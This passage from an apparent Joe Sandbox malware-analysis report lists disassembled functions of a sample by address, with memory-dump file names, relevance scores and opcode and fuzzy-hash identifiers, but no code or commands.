                                  • Instruction Fuzzy Hash: 50617D72D087808BD3198F348880269BBA2EFC6355F258B6EFCD56B393D7749A49C740
                                  Function 00C74B60 Relevance: .2, Instructions: 166COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 19039c0b2b2611e093b453fd2d8bd6a8492cc8402b91856df5b13cc484ef1aa5
                                  • Instruction ID: 4f5da5937a7e77b8da9938d85745f44be9e3e1b84fd470273f673ae286287228
                                  • Opcode Fuzzy Hash: 19039c0b2b2611e093b453fd2d8bd6a8492cc8402b91856df5b13cc484ef1aa5
                                  • Instruction Fuzzy Hash: 5541F377F256280BE39C98699C5526A73C397C4310B8A463DDA96C73C5EC74DD16A3C0
                                  Function 00E6A000 Relevance: .1, Instructions: 122COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 43ca0627f881cf177445ab0957e0dd518c042ce74fa7e59b5b191a8113bb2889
                                  • Instruction ID: feb5e8e0990837b33d0ce87783e83fb1b7a9ef193ab9731d55923e9606ce532c
                                  • Opcode Fuzzy Hash: 43ca0627f881cf177445ab0957e0dd518c042ce74fa7e59b5b191a8113bb2889
                                  • Instruction Fuzzy Hash: 4031D631B483194BC754AD6DE4C022AF6D39BD83A0F59D63CE589E3380E9718C488B82
                                  Function 00D9AB2C Relevance: .0, Instructions: 47COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 194b1e9f7992c7b919597fa56089a32913e4a1d6ceb8f728d31f22bf67bf3837
                                  • Instruction ID: 4190aad474779dbc2b0907a278778bec926fd90bbbccb30242bb20fb4ef44ec9
                                  • Opcode Fuzzy Hash: 194b1e9f7992c7b919597fa56089a32913e4a1d6ceb8f728d31f22bf67bf3837
                                  • Instruction Fuzzy Hash: BDF0C233B612390B9360CDBA6C001D7A2C3A3C0370F1F8565EC84D7502E934CC4686D6
                                  Function 00D9AAC0 Relevance: .0, Instructions: 41COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: fe21089785e6a1748e56388996be618063e6c4318fc8050aa5774256bf8bb64f
                                  • Instruction ID: 769484cfdf8c31494f137027c5ae90286714b6c46e94e8fe7173f367561f449d
                                  • Opcode Fuzzy Hash: fe21089785e6a1748e56388996be618063e6c4318fc8050aa5774256bf8bb64f
                                  • Instruction Fuzzy Hash: 1FF08C33A20A340B6360CC7A8D05097A2C797C86B0B0FC969ECA0E7206E930EC0656E1
                                  Function 00CC9980 Relevance: .0, Instructions: 7COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 0e7b97b4133c09a8f8f1a7baa84deddf9e37356a2bc783342369b00963e3fb24
                                  • Instruction ID: b7676af22a00ae12169ada3229ccd61f6c825725ad654ba569b748fb8046520a
                                  • Opcode Fuzzy Hash: 0e7b97b4133c09a8f8f1a7baa84deddf9e37356a2bc783342369b00963e3fb24
                                  • Instruction Fuzzy Hash: 2EB012319002004B5726CD38E8755E532B2B3913103A6D4ECD00745004D735D0038B01
                                  Function 00B46810 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 344COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: [
                                  • API String ID: 0-784033777
                                  • Opcode ID: 4cf0425936876905c322401783123af14a5c396e741b8f052e1dee4d72e6a3d2
                                  • Instruction ID: 3cbd164ae5a3c03f05a025cbb567df6a1e819f50afbf2df36ad5135c9468ab65
                                  • Opcode Fuzzy Hash: 4cf0425936876905c322401783123af14a5c396e741b8f052e1dee4d72e6a3d2
                                  • Instruction Fuzzy Hash: B9B178719083916BDB398A20C8D277BBBD8EB57344F1809ADE8C5C6182EB65CF44B353
                                  Function 00E6B1A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: islower
                                  • String ID: $
                                  • API String ID: 3326879001-3993045852
                                  • Opcode ID: ea0f4f2f02c77cff6850d85ad844458c6e7b1f7dbe77ef8bfb68b44ec121d332
                                  • Instruction ID: cb96e08c0eb8cac9ffb1c55f657890ed4e583478dbaf6e5d8acd9324d7c561f0
                                  • Opcode Fuzzy Hash: ea0f4f2f02c77cff6850d85ad844458c6e7b1f7dbe77ef8bfb68b44ec121d332
                                  • Instruction Fuzzy Hash: 5261F5307883458BC7149F69D88026FFBE6AFC5394F149A2DE4D5EB391E7B0D8858B42